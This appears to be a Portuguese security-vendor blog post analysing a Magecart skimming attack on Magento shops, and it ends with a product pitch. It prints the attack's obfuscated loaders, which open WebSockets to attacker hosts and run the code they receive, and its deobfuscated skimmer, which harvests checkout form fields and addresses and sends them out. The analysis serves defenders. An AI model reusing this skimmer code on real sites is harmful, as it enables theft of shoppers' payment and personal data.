No dia 14 de outubro, publicamos um artigo sobre como mais um ataque Magecart ao Magento estava acontecendo. Na época, identificamos apenas um script como responsável.
Hoje, conseguimos encontrar e analisar o ataque com mais detalhes.
O ataque decodificado
Este foi o código injetado:
<script>
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42;
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()});
</script>
Ao decodificar esse script ofuscado, descobrimos que ele estabelece uma conexão WebSocket com a seguinte URL: wss://gstatlc[.]org/jivo?source=.
Em seguida, suspeitamos que o ataque tinha como objetivo o web skimming, ou seja, o roubo de dados de clientes como informações de cartão de crédito.
Agora encontramos o seguinte script:
! function() {
function e(e) {
let t = "";
for (let n = 0; n < e.length; n += 2) {
let o = e.slice(n, n + 2),
c = parseInt(o, 16);
t += String.fromCharCode(c)
}
return t
}
if (window.location.href.includes(e("6f6e6573746570636865636b6f7574"))) {
const t = new WebSocket(e("7773733a2f2f61766765617273686f702e6164732d616e616c797369732e6e65743a3434332f7773")),
n = "x-magento-65dsf";
t.onmessage = function(t) {
! function(t) {
if (!document.querySelector("#" + n)) {
const o = document.createElement("script");
o.id = n, o.text = e(t), document.head.appendChild(o)
}
}(t.data)
}
}
}();
Isso leva a um código ofuscado, que nossa plataforma cside desofusca automaticamente. Encontramos diversas funções destinadas a capturar dados.
// Função para decodificar os seletores
function decodeSelectors() {
let decoded = hexDecode(encodedSelectors);
let selectorArray = decoded.split('|');
return selectorArray;
}
// Função para verificar se elementos específicos estão presentes na página
const checkElementsPresence = () => {
let selectors = decodeSelectors();
return selectors.every(selectorEntry => {
let [selector, count] = selectorEntry.split(':');
let elements = document.querySelectorAll(selector);
return elements.length >= Number(count);
});
};
// Função para gerar um identificador único
const generateUUID = () => {
return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
);
};
// Função para codificar dados em hexadecimal
function hexEncode(str) {
return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
}
// Função para coletar dados do formulário
const collectFormData = (context) => {
let data = {};
let counts = {};
let inputs = context.querySelectorAll('input, select, textarea');
for (let i = 0; i < inputs.length; ++i) {
let element = inputs[i];
let name = element.name || element.id;
let value = element.value;
if (value !== '' && name) {
if (!counts[name]) counts[name] = 0;
if (element.tagName !== 'SELECT') {
counts[name] === 0
? data[name] = value
: data[`${name}#${counts[name]}`] = value;
} else {
let selectedOption = element.options[element.selectedIndex].text;
counts[name] === 0
? data[name] = selectedOption
: data[`${name}#${counts[name]}`] = selectedOption;
}
counts[name]++;
}
}
data['url'] = window.location.hostname;
data['ua'] = window.navigator.userAgent;
data['ts'] = Date.now();
// Tentativa de coletar dados de endereço do cliente, se disponíveis
if (window.checkoutConfig && window.checkoutConfig.customerData && window.checkoutConfig.customerData.addresses) {
try {
let addresses = window.checkoutConfig.customerData.addresses;
data['address_data'] = addresses[Object.keys(addresses)[0]];
} catch (e) { /* Ignorar erros */ }
}
return hexEncode(JSON.stringify(data));
};
// Intervalo para verificar e enviar dados repetidamente
let intervalId = setInterval(() => {
if (checkElementsPresence()) {
let formData = collectFormData(document.body);
const uuid = generateUUID();
const webSocketURL = hexDecode(encodedWebSocketURL) + '/' + uuid;
const ws = new WebSocket(webSocketURL);
ws.addEventListener('open', function () {
ws.send(formData);
ws.close(1000, 'done');
clearInterval(intervalId);
});
}
}, 1000);
})();
Havia ainda outro domínio malicioso: wss://adsprove[.]online/ws.
Todas essas funções comprovam que o script está de fato mirando em diversas entradas de visitantes desavisados. Isso também reforça que monitorar e bloquear essas tentativas no lado do cliente é essencial para identificar e interromper esses ataques.
Como proteger seu site
A cside foi criada para combater esses ataques. Qualquer script de terceiros presente no seu site que esteja comprometido pode ser detectado e bloqueado antes de ser executado no navegador dos seus visitantes — protegendo tanto eles quanto você de agentes maliciosos.
Ao usar nosso plano gratuito, você estará protegido contra este e outros ataques semelhantes.









